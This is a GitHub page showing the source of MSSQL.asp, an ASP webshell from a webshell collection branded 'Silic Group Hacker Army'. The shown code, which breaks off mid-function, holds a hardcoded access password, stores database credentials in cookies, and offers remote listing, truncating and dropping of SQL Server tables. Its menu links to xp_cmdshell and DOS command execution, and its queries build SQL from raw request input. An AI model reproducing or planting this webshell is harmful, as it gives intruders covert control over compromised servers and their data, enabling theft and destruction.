forked from tennc/webshell
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MSSQL.asp
1579 lines (1577 loc) · 67.4 KB
/
MSSQL.asp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
<%OPTION EXPLICIT%>
<%
Dim sTable, sField, sFieldname, sFieldType, sFieldLen, sRecordSet, sView, sSP, sDB
Dim Cookie_Login, Cookie_DbName, Cookie_DbUid, Cookie_DbPwd, Cookie_DbServer
Dim sAction, ServerIP, strPassword, intID, strScriptName,ThisPage
Dim maxdisplayedbin,maxdisplayedchar
Dim DbName, DbUid, DbPwd, DbServer,DbConnString,DbOwner
Dim sSQL, Rs, Conn, sSort, sOrder
Dim AppName,AppWeb
dim i, strmsg,FileCount
strPassword = "silic"
Cookie_Login = "Wyh_Login"
Cookie_DbName = "Wyh_DBName"
Cookie_DbUid = "Wyh_DBUid"
Cookie_DbPwd = "Wyh_DBPwd"
Cookie_DbServer = "Wyh_DBServer"
maxdisplayedbin = 16
maxdisplayedchar = 40
ServerIP = Request.ServerVariables("LOCAL_ADDR")
sAction = Trim(Request.QueryString("action"))
sDB = Trim(Request("db"))
sTable = Trim(Request("table"))
sField = Trim(Request("field"))
sView = Trim(Request("view"))
sSP = Trim(Request("sp"))
intID = Trim(Request("id"))
sSort = Trim(Request("sort"))
sOrder = Trim(Request("order"))
AppName = "MSSQL渗透"
AppWeb = "http://blackbap.org"
Function GetScriptName(n_Para)
dim strSN
strSN = CStr(Request.ServerVariables("SCRIPT_NAME"))
If Cint(n_Para) = 1 then
If (Request.QueryString <> "") Then
strSN = strSN & "?" & Server.HTMLEncode(Request.QueryString)
End If
End If
GetScriptName = strSN
End Function
Sub SetLoginCookie(sPwd)
Response.Cookies(Cookie_Login) = sPwd
Response.Cookies(Cookie_Login).Expires = Date
End Sub
Function GetLoginCookie()
if IsNull(Request.Cookies(Cookie_Login)) Or IsEmpty(Request.Cookies(Cookie_Login)) then
GetLoginCookie = ""
else
GetLoginCookie = Request.Cookies(Cookie_Login)
end if
End Function
Sub SetDBCookie()
Response.Cookies(Cookie_DbName) = DbName
Response.Cookies(Cookie_DbUid) = DbUid
Response.Cookies(Cookie_DbPwd) = DbPwd
Response.Cookies(Cookie_DbServer) = DbServer
Response.Cookies(Cookie_DbName).Expires = Date+1
Response.Cookies(Cookie_DbUid).Expires = Date+1
Response.Cookies(Cookie_DbPwd).Expires = Date+1
Response.Cookies(Cookie_DbServer).Expires = Date+1
End Sub
Sub GetDBCookie()
DbName = Request.Cookies(Cookie_DbName)
DbUid = Request.Cookies(Cookie_DbUid)
DbPwd = Request.Cookies(Cookie_DbPwd)
DbServer = Request.Cookies(Cookie_DbServer)
DbConnString ="Provider=SQLOLEDB.1;Persist Security Info=False;Server="& DbServer &";User ID="& DbUid &";Password="& DbPwd &";Database="& DbName &";"
End Sub
Sub WriteLink(sParms,sDisplay,sBreak)
dim ThisPage
ThisPage = strScriptName
response.Write("<A HREF=""" & ThisPage & sParms & """>" & sDisplay & "</A>" & sBreak & "")
End Sub
Sub LoginValidate()
dim strUser, strPass
strUser = Trim(Request.Form("UserName"))
strPass = Trim(Request.Form("Password"))
if strPass = strPassword then
Call SetLoginCookie(strPass)
Call ShowParentWindow
else
ShowMessageBox("验证没有通过!")
end if
End Sub
Sub LoginForm()
Response.write ("<br><br><br>" & _
"<table width=""70%"" border=""0"" align=""center"" cellpadding=""4"" cellspacing=""1"" bgcolor=""#CCCCCC""> " & _
"<form name=""loginform"" action=""?action=login"" method=""post"">" & _
" <tr bgcolor=""#F1F1F1"">" & _
" <td colspan=""2""><strong>用户登录</strong></td>" & _
" </tr>" & _
" <tr bgcolor=""#FFFFFF"">" & _
" <td width=""19%"" nowrap>用户名称:</td>" & _
" <td width=""81%""><input name=""UserName"" type=""text"" id=""UserName""></td>" & _
" </tr>" & _
" <tr bgcolor=""#FFFFFF"">" & _
" <td nowrap>登录密码:</td>" & _
" <td><input name=""Password"" type=""text"" id=""Password""></td>" & _
" </tr>" & _
" <tr bgcolor=""#FFFFFF"">" & _
" <td colspan=""2""><input type=""submit"" name=""Submit"" value=""提交"">" & _
" <input type=""reset"" name=""reset"" value=""重置"">" & _
" </td>" & _
" </tr>" & _
"</form>" & _
"</table>")
End Sub
Sub DataSrcSetting()
DbName = Trim(Request.Form("DbName"))
DbUid = Trim(Request.Form("UID"))
DbPwd = Trim(Request.Form("PWD"))
DbServer = Trim(Request.Form("DBServer"))
DbConnString = Trim(Request.Form("DBString"))
if TRim(DbConnString) = "" then
DbConnString ="Provider=SQLOLEDB.1;Persist Security Info=False;Server="& DbServer &";User ID="& DbUid &";Password="& DbPwd &";Database="& DbName &";"
end if
dim strMessage
On Error Resume Next
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.open(DbConnString)
if err.number <> 0 then
strMessage = "数据源设定可能有错误,无法链接成功。"
strMessage = strMessage & "<br><br>错误描述:" & Err.description & "<br><br><br>"
strMessage = strMessage & "<a href=""?action=dbsrcbox"">返回重新设定</a>"
Set Conn = Nothing
else
Conn.close
Set Conn = Nothing
strMessage = "数据源设定成功!"
end if
Call SetDBCookie
Call ShowMessageBox(strMessage)
End Sub
Sub OpenDB()
On Error Resume Next
Call GetDBCookie
Set Conn = Server.CreateObject("ADODB.Connection")
Conn.open(DbConnString)
if err.number <> 0 then
dim strMessage
strMessage = "数据源设定可能有错误,无法链接成功。"
strMessage = strMessage & "<br><br>错误描述:" & Err.description & "<br><br><br>"
strMessage = strMessage & "<a href=""?action=dbsrcbox"">返回重新设定</a>"
Set Conn = Nothing
Call ShowMessageBox(strMessage)
exit sub
end if
err.clear
On Error Goto 0
End Sub
Sub CloseDB()
If IsObject(RS) then
if Rs is nothing then
else
if RS.state then RS.close
set RS = nothing
end if
end if
Conn.Close
Set Conn = nothing
End Sub
Function rembracket(pStr)
If pStr = "" Or IsNull(pStr) Then
rembracket = ""
Else
rembracket = Replace(pStr, "]", "]]")
End If
End Function
Function remquote(pStr)
If pStr = "" Or IsNull(pStr) Then
remquote = ""
Else
remquote = Replace(pStr, "'", "''")
End If
End Function
Function bin2hex(pBin, pLen)
Dim i, myL, myStr, myFlag
myStr = "0x"
If LenB(pBin) < pLen Then
myL = LenB(pBin)
myFlag = false
Else
myL = pLen
myFlag = true
End If
For i = 1 To myL
myStr = myStr & Hex(AscB(MidB(pBin, i, 1)))
Next
bin2hex = Array(myStr, myFlag)
End Function
' ### txt2html : replaces vbCrlf by <BR> and vbTab by
Function txt2html(pStr)
If pStr = "" Or IsNull(pStr) Then
txt2html = ""
Else
txt2html = Replace(Replace(Replace(Server.HTMLEncode(pStr), vbCrlf, "<BR>"), vbTab, " "), " ", " ")
End If
End Function
' ### getStrBegin : returns an array with the X first characters of the string and a boolean to know if the string has been cut
Function getStrBegin(pStr, pLength)
Dim myC
If pStr = "" Or IsNull(pStr) Then
getStrBegin = Array("", false)
ElseIf Len(pStr) <= pLength Then
getStrBegin = Array(pStr, false)
Else
myC = InStr(pLength, pStr, " ")
If myC > 0 Then getStrBegin = Array(Left(pStr, myC), true) Else getStrBegin = Array(pStr, false) End If
End If
End Function
Function GetObjectText(sDB, pObjName)
Dim myStrSQL, myArr, myRC, i, myTxt
Conn.execute "USE [" & rembracket(sDB) & "];"
myStrSQL = "SELECT c.text FROM syscomments c WHERE c.id = OBJECT_ID('" & (remquote(pObjName)) & "');"
Set RS = Conn.execute(myStrSQL)
if NOt rs.eof then
myArr = RS.getRows
else
myArr = empty
end if
If isArray(myArr) Then myRC = UBound(myArr, 2) Else myRC = -1 End If
myTxt = ""
For i = 0 To myRC
myTxt = myTxt & myArr(0, i)
Next
GetObjectText = myTxt
End Function
Sub DataSrcForm()
Response.write ("<br><br><br>" & _
"<table width=""70%"" border=""0"" align=""center"" cellpadding=""4"" cellspacing=""1"" bgcolor=""#CCCCCC"">" & _
"<form name=""dbform"" action=""?action=dbsrcset"" method=""post"">" & _
"<tr bgcolor=""#F1F1F1"">" & _
"<td colspan=""2""><strong>设定数据库链接</strong></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td width=""19%"" nowrap>用户名称:</td>" & _
"<td width=""81%""><input name=""UID"" type=""text"" id=""UID""></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td nowrap>登录密码:</td>" & _
"<td><input name=""PWD"" type=""text"" id=""PWD""></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td nowrap>数据库名称:</td>" & _
"<td><input name=""DBName"" type=""text"" id=""DBName""></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td nowrap>数据库服务器:</td>" & _
"<td><input name=""DBServer"" type=""text"" id=""DBServer"" value=""(local)""></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td nowrap>自定义链接:</td>" & _
"<td><input name=""DBString"" type=""text"" size=""60""></td>" & _
"</tr>" & _
"<tr bgcolor=""#FFFFFF"">" & _
"<td colspan=""2""><input type=""submit"" name=""Submit"" value=""提交"">" & _
" <input type=""reset"" name=""reset"" value=""重置"">" & _
"</td>" & _
"</tr>" & _
"</form> " & _
"</table>")
End Sub
Sub ShowMessageBox(strmsg)
Response.Write ("<br><br><br>" & _
"<table width=""80%"" border=""0"" align=""center"" cellpadding=""4"" cellspacing=""1"" bgcolor=""#CCCCCC"">" & vbnewline & _
" <tr bgcolor=""#F1F1F1""><td><strong>提示信息</strong></td></tr>" & vbnewline & _
" <tr bgcolor=""#FFFFFF""><td><br><ul><span class=ErrText>"& strmsg &"</span></ul></td></tr>" & vbnewline & _
"</table>" & vbnewline & "")
Call HtmlFooter
Response.End
End Sub
Function GetFieldValue(i)
if lcase(sAction) = "updaterec" then
GetFieldValue = rs.fields(i).value
else
GetFieldValue = ""
end if
End Function
Sub WriteType(I)
Select Case Rs.Fields(i).type
case 3 'primary key / auto number ?'
if i=0 then
response.Write "<input type=hidden name=id value=""" & intID & """>Auto Number (" & intID & ")"
else
response.Write "<input type=text name=" & Rs.Fields(i).name & " SIZE=50 value=""" & GetFieldValue(i) & """>"
end if
case 11 'boolean'
response.Write "<INPUT TYPE=checkbox NAME="& Rs.Fields(i).name & " VALUE=""1""" & GetCheckValue(i) & ">"
case 203 'memo'
response.Write "<TEXTAREA NAME=" & Rs.Fields(i).name & " ROWS=20 COLS=56>" & GetFieldValue(i) & "</TEXTAREA>"
case else 'not handled by this function'
response.Write "<input type=text name=" & Rs.Fields(i).name & " SIZE=50 value=""" & GetFieldValue(i) & """>"
End Select
End Sub
Sub HtmlHeader()
Response.Write ("<HTML><HEAD>" & vbnewline & _
"<TITLE>"& AppName & " Silic Group Hacker Army " & AppWeb & " -- YoCo Smart " & ServerIP & "</TITLE>" & vbnewline & _
"<META http-equiv=""Content-Type"" content=""text/html; charset=gb2312"">" & vbnewline & _
"<META NAME=""Author"" CONTENT=""Wang Yuheng"">" & vbnewline & _
"<META NAME=""Description"" CONTENT=""The SQL Server Web Online Editor"">" & vbnewline & _
"<style type=""text/css"">" & vbnewline & _
"<!--" & vbnewline & _
"body,td,th {font-family: Simsun, Arial, Helvetica, sans-serif;}" & vbnewline & _
"body { margin:0px 0px 0px 0px; line-height: 1.5;" & vbnewline )
If sAction = "login" then Response.Write "overflow-x:hidden;overflow-y:hidden;"
Response.Write ("word-break:break-all}" & vbnewline & _
"td { font-size: 14px;line-height: 1.5;}" & vbnewline & _
"A{color: #3366cc;text-decoration: none;}" & vbnewline & _
"A:hover{color: #ff6633;text-decoration: none;}" & vbnewline & _
".ErrText{ font-weight:bold; color:#FF0000}" & vbnewline & _
".menu a {color: #000000;text-decoration: none;font-size: 12px;}" & vbnewline & _
".menu a:hover {color: #D6EDFF;text-decoration: none;font-size: 12px;}" & vbnewline & _
".menutitle {border-bottom:1 solid #999999;border-top:2 solid #ffffff;border-right:1 solid #999999;font-weight: bold;background-color: F1F1F1;}" & vbnewline & _
".menutitle2 {border-top:2 solid #ffffff;border-right:1 solid #999999;font-weight: bold;background-color: F1F1F1;}" & vbnewline & _
".menubody {border-bottom:1 solid #999999;border-right:1 solid #999999;background-color: F1F1F1;}" & vbnewline & _
".menubar {font-size: 12px;border-color: #F1F1F1;border-width: 1;border-style: solid;padding: 2 6 0 6;cursor: hand;}" & vbnewline & _
".menubar a{color: #000000;}" & vbnewline & _
".menubarover {font-size: 12px;background-color: #CCCCCC;border-color: #999999;border-width: 1;border-style: solid;padding: 2 6 0 6;cursor: hand;}" & vbnewline & _
".menubarover a{color: #000000;}" & vbnewline & _
".menubarover a:hover{color: #000000;}" & vbnewline & _
".menubardown {font-size: 12px;background-color: #999999;border-color: #999999;border-width: 1;border-style: solid;padding: 2 6 0 6;cursor: hand;}" & vbnewline & _
".menubardown a{color: #000000;}" & vbnewline & _
".menubardown a:active{color: #000000;}" & vbnewline & _
".menubaractive {font-size: 12px;background-color: #FCFCFC;border-color: #999999;border-width: 1;border-style: solid;padding: 2 6 0 6;cursor: default;}" & vbnewline & _
".JJ {BORDER-RIGHT: #999999 1px solid; PADDING-RIGHT: 4px; BORDER-TOP: #999999 1px solid; OVERFLOW-Y: auto; OVERFLOW-X: auto; VERTICAL-ALIGN: top;PADDING-LEFT: 4px; PADDING-BOTTOM: 4px; BORDER-LEFT: #999999 1px solid; PADDING-TOP: 4px; WIDTH: 600px;BORDER-BOTTOM: #999999 1px solid; BACKGROUND-COLOR: #ffffff}" & vbnewline & _
".resultbox{border-width: 0px;border-style: solid;border-color: threedshadow threedhighlight threedhighlight threedshadow;}" & _
".resultheader{background: buttonface;overflow: scroll;font-family:Verdana,Arial;font-size:12px;height:16px;overflow: hidden;background: buttonface;border-width: 1px;border-style: solid;border-color: buttonhighlight buttonshadow buttonshadow buttonhighlight;}" & _
".resultitem{font-family:Verdana,Arial;font-size:12px;border-style: solid;border-color: threedshadow;border-width: 0px 1px 1px 0px;height: 16px;white-space: nowrap;padding: 1px;}" & _
"-->" & vbnewline & _
"</style>" & vbnewline & _
"</HEAD>" & vbnewline & _
"<BODY>" & vbnewline)
End Sub
Sub ShowParentWindow
Response.write ("<table width='100%' height='100%' border='0' cellpadding='0' cellspacing='0' bgcolor='menu'>" & _
"<tr><td width='140'>" & _
"<iframe name='leftFrame' src='?Action=leftmenu' width='100%' height='100%' frameborder='0' scrolling='no'></iframe></td>" & _
"<td>" & _
"<iframe name='mainFrame' src='?Action=mainwin' width='100%' height='100%' frameborder='0' scrolling='yes'></iframe>" & _
"</td></tr></table>")
End Sub
Sub HtmlFooter()
Response.Write("</BODY>" & vbnewline & "</HTML>")
End Sub
Sub ShowLeftMenu()
%>
<script language="javascript">
function OnPageLoad()
{
function GetEventTD()
{
var e = event.srcElement;
while(e != null)
{
className = e.className;
if(className == 'menubar' || className == 'menubarover' || className == 'menubardown')
break;
e = e.parentElement;
}
return e;
}
function OnMenuOver()
{
var e = GetEventTD();
if(e != null)e.className='menubarover';
}
function OnMenuOut()
{
var e = GetEventTD();
if(e != null)e.className='menubar';
}
function OnMenuDown()
{
var e = GetEventTD();
if(e != null)e.className='menubardown';
}
function OnMenuClick()
{
if(event.srcElement.tagName != "A")
{
var e = GetEventTD();
if(e != null)
{
var LinkList = e.all.tags("a");
if(LinkList.length > 0)LinkList[0].click();
}
}
}
function OnCancel()
{
return false;
}
var MenuBarList = document.all;
for (i=0; i<MenuBarList.length; i++)
if(MenuBarList[i].className == "menubar")
{
var e = MenuBarList[i];
var LinkList = e.all.tags("a");
if(LinkList.length > 0 && (location.protocol + "//" + location.host + location.pathname).toLowerCase() == LinkList[0].href.toLowerCase())
{
MenuBarList[i].className = "menubaractive"
e.innerHTML = e.innerText;
}else
{
e.onmouseover = OnMenuOver;
e.onmouseout = OnMenuOut;
e.onmousedown = OnMenuDown;
e.onmouseup = OnMenuOver;
e.onclick = OnMenuClick;
}
e.onselectstart = OnCancel;
e.ondragstart = OnCancel;
}
}
onload = OnPageLoad;
</script>
<%
Response.Write ("<table width=""100%"" id=""LeftMenu"" height=""100%"" border=""0"" cellspacing=""0"" cellpadding=""0"" align=""left"" >" & vbnewline & _
"<tr><td valign=""top"" height=""100%"">" & vbnewline & _
" <table width=""100%"" height=""100%"" border=""0"" cellpadding=""6"" cellspacing=""0"">" & vbnewline & _
" <tr><td class=""menutitle"">数据库操作" & vbnewline & _
" <table width=""120"" border=""0"" cellpadding=""0"" cellspacing=""0"">" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=listtb"">资料表清单</a></td></tr>" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=listvw"">视图清单</a></td></tr>" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=listsp"">存储过程清单</a></td></tr>" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=listdb"">数据库清单</a></td></tr> " & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=execsql"">执行SQL语句</a></td></tr>" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=dbsrcbox"">重新设定数据源</a></td></tr>" & vbnewline & _
" </table>" & vbnewline & _
" </td></tr>" & vbnewline & _
"<tr><td class=""menutitle"">文件操作" & vbnewline & _
" <table width=""120"" border=""0"" cellpadding=""0"" cellspacing=""0"">" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=searchfile"">文件搜索</a></td></tr>" & vbnewline & _
" </table></td></tr>" & vbnewline & _
"<tr><td height=""100%"" valign=""top"" class=""menutitle"">扩展功能" & vbnewline & _
"<table width=""120"" border=""0"" cellpadding=""0"" cellspacing=""0"">" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=xpcmdshell"">XP_CmdShell</a></td></tr>" & vbnewline & _
" <tr><td class=""menubar""><a target=""mainFrame"" href=""?action=cmdshell"">DOS命令行</a></td></tr>" & vbnewline & _
" </table></td></tr>" & vbnewline & _
"</table></td></tr></table>" & vbnewline & "")
End Sub
Sub ShowMainWindow
Call DataSrcForm
End Sub
Sub ListDateType(sDefault)
sSQL = "select name,length from systypes"
Set Rs = Conn.execute(sSQL)
if not Rs.eof then
while not Rs.eof
response.Write "<option value="""& Rs(0) & """ "
if sDefault = Rs(0) then response.Write("selected")
response.Write ">"& Rs(0) &"</option>"
rs.movenext
Wend
end if
End Sub
Sub ListTable()
OpenDB
if sSort = "" then sSort = "name"
if sOrder = "" then sOrder = "asc"
sSQL = "select sysobjects.id,sysobjects.name,sysobjects.category,sysusers.name,sysobjects.crdate "
sSQL = sSQL & "from sysobjects join sysusers on sysobjects.uid = sysusers.uid "
sSQL = sSQL & "where sysobjects.xtype = 'U' "
sSQL = sSQL & "order by sysobjects."& sSort & " " & sOrder
if sOrder = "asc" then sOrder = "desc" else sOrder = "asc"
Set RS = Conn.execute(sSQL)
dim myTblName
Response.write ("<TABLE width=""98%"" BORDER=""0"" align=""center"" CELLPADDING=""3"" CELLSPACING=""1"" BGCOLOR=""#cccccc"">" & _
" <TR>" & _
" <TD width=""45%"" ALIGN=""Left"" bgcolor=""#F2F2F2""><strong><a href='?action=listtb&sort=name&order="&sOrder&"'>资料表名称</a></strong></TD>" & _
" <TD width=""13%"" ALIGN=""Left"" bgcolor=""#F2F2F2""><strong>所有者</strong></TD>" & _
" <TD width=""24%"" ALIGN=""Left"" bgcolor=""#F2F2F2""><strong><a href='?action=listtb&sort=crdate&order="&sOrder&"'>创建日期</a></strong></TD>" & _
" <TD width=""18%"" ALIGN=""center"" bgcolor=""#F2F2F2""><strong>操作</strong></TD>" & _
" </TR>")
Do until RS.EOF
myTblName = "[" & rembracket(DbName) & "].[" & rembracket(RS(3)) & "].[" & rembracket(RS(1)) & "]"
Response.write (" <TR bgcolor=""#FFFFFF"">" & _
" <TD ALIGN=""Left""><a href='?action=listrec&table=" & myTblName & "'>" & RS(1) & "</a></TD>" & _
" <TD ALIGN=""Left"">" & RS(3) & "</TD>" & _
" <TD ALIGN=""Left"">" & RS(4) & "</TD>" & _
" <TD ALIGN=""center""><a href='?action=edittb&owner="& RS(3) &"&table=" & myTblName & "'>编辑</a>|" & _
"<a href='?action=cleartb&owner="& RS(3) &"&table=" & myTblName & "'>清除</a>|" & _
"<a href='?action=deletetb&owner="& RS(3) &"&table=" & myTblName & "'>删除</a>" & _
" </TD>" & _
" </TR>")
RS.movenext
Loop
Response.write "</TABLE>"
CloseDB
End Sub
Sub EditTable
OpenDB
sSQL = "select b.name,c.name,c.xtype,b.length,b.isnullable,b.colstat,case when b.autoval is null then 0 else 1 end,b.colid,a.id,d.text "
sSQL = sSQL & "from sysobjects a "
sSQL = sSQL & "join syscolumns b on a.id = b.id "
sSQL = sSQL & "join systypes c on b.xtype = c.xtype and c.usertype <> 18 "
sSQL = sSQL & "left join syscomments d on d.id = b.cdefault "
sSQL = sSQL & "where a.id = OBJECT_ID('"& sTable &"') order by b.colid"
Conn.execute "USE [" & DbName & "];"
'response.Write(sSQL)
Set RS = Conn.Execute(sSQL)
Response.Write ("<BR>" & _
"<TABLE WIDTH=""90%"" BORDER=""0"" align=""center"" CELLPADDING=""4"" CELLSPACING=""1"" BGCOLOR=""#CCCCCC"">" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD ALIGN=""Left"" colspan=""8"">" &sTable &"</TD>" & _
"</TR>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD ALIGN=""Left"" colspan=""8""><a href=""?action=addfield&table=" & sTable & """>添加新字段</a> | <a href='?action=listtb'>返回资料表清单</a> | <a href=""javascript:window.history.back()"">返回上页</a></TD>" & _
"</TR>" & _
"<TR bgcolor=""#F2F2F2"">" & _
"<TD ALIGN=""Left""><strong>字段名</strong></TD>" & _
"<TD ALIGN=""Left""><strong>数据类型</strong></TD>" & _
"<TD ALIGN=""Left""><strong>长度</strong></TD>" & _
"<TD ALIGN=""Left""><strong>允许空</strong></TD>" & _
"<TD ALIGN=""Left""><strong>标识列</strong></TD>" & _
"<TD ALIGN=""Left""><strong>默认值</strong></TD>" & _
"<TD ALIGN=""Left""><strong>删除</strong></TD>" & _
"<TD ALIGN=""Left""><strong>修改</strong></TD>" & _
"</TR>")
Do until RS.EOF
Response.Write ("<TR bgcolor=""#FFFFFF"">" & _
"<TD ALIGN=""Left"">" & RS(0) & "</TD>" & _
"<TD ALIGN=""Left"">" & RS(1) & " [" & RS(2) & "]</TD>" & _
"<TD ALIGN=""Left"">" & RS(3) & "</TD>" & _
"<TD ALIGN=""Left"">")
if RS(4) = 0 then response.write ("False") else response.write ("True")
response.write "</TD><TD ALIGN=""Left"">"
if RS(5) = 1 then response.write "ID."
if RS(6) = 1 then response.write "(Auto)"
Response.Write ("</TD>" & _
"<TD ALIGN=""Left"">" & RS(9) & "</TD>" & _
"<TD ALIGN=""Left""><a href='?action=deletefield&table=" & stable & "&field=" & RS(0) & "'>Delete</a></TD>" & _
"<TD ALIGN=""Left""><a href='?action=editfield&table=" & stable & "&field=" & RS(0) & "&id="&Rs(8)&"'>Edit #" & RS(7) & "</a></TD>" & _
"</TR>")
Rs.movenext
Loop
Response.Write "</TABLE>"
CloseDB
End Sub
Sub ClearTable
if lcase(Request("confirm")) = "yes" then
sTable = Trim(Request("table"))
if sTable = "" then
Response.Write("没有选定资料表!")
else
on error resume next
OpenDB
Conn.Execute "Truncate Table " & sTable
if err.number <> 0 then
ShowMessageBox("清除时发生错误。<BR><BR>错误描述: " & Err.Description)
Else
ShowMessageBox("成功清除资料表:" & sTable & "<BR><BR><a href='?action=listtb'>点击这里继续</a>")
end if
CloseDB
end if
else
strmsg = "清除前请确认...<BR><BR>"
strmsg = strmsg & "<a href='?action=cleartb&confirm=yes&table=" & sTable & "'>Yes - 清除这个资料表</a><BR><BR>"
strmsg = strmsg & "<a href='?action=listtb'>No - 不要清除这个资料表</a>"
ShowMessageBox(strmsg)
end if
End Sub
Sub DeleteTable
if lcase(Request("confirm")) = "yes" then
sTable = Trim(Request("table"))
if sTable = "" then
Response.Write("没有输入资料表名称")
else
on error resume next
OpenDB
Conn.Execute "Drop Table " & sTable
if err.number <> 0 then
ShowMessageBox("删除时发生错误。<BR><BR>错误描述: " & Err.Description)
Else
ShowMessageBox("成功删除资料表:" & sTable & "<BR><BR><a href='?action=listtb'>点击这里继续</a>")
end if
err.clear
CloseDB
end if
else
strmsg = "删除前请确认...<BR><BR>"
strmsg = strmsg & "<a href='?action=deletetb&confirm=yes&table=" & sTable & "'>Yes - 删除这个资料表</a><BR><BR>"
strmsg = strmsg & "<a href='?action=listtb'>No - 不要删除这个资料表</a>"
ShowMessageBox(strmsg)
end if
End Sub
Sub EditField()
OpenDB
if sField <> "" then
sSQL = "select b.name,a.length from syscolumns a "
sSQL = sSQL & "join systypes b on a.xtype = b.xtype "
sSQL = sSQL & "where a.id = '"&intID&"'and a.name = '"&sField&"'"
set rs = conn.execute(sSQL)
dim oldfield,oldlength
oldfield = rs(0)
oldlength = rs(1)
rs.close
end if
Response.Write ("<br><br><br>" & _
"<TABLE width=""90%"" BORDER=""0"" CELLPADDING=""4"" CELLSPACING=""1"" bgcolor=""#CCCCCC"" align=""center"">" & _
"<FORM METHOD=""POST"" ACTION=""?action=savefield&table=" & sTable & """>" & _
"<TR bgcolor=""#F2F2F2"">" & _
"<TD colspan=""2""><strong>添加修改字段</strong></TD>" & _
"</TR>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD>字段名:</TD>" & _
"<TD><INPUT TYPE=""text"" NAME=""name"" SIZE=""30"" VALUE=""" & sField & """></TD>" & _
"</TR>" & _
"<TR bgcolor=""#FFFFFF"">" & _
"<TD>数据类型:</TD>" & _
"<TD><SELECT NAME=""type"" SIZE=""1""> ")
ListDateType(oldfield)
Response.Write ("</SELECT>" & _
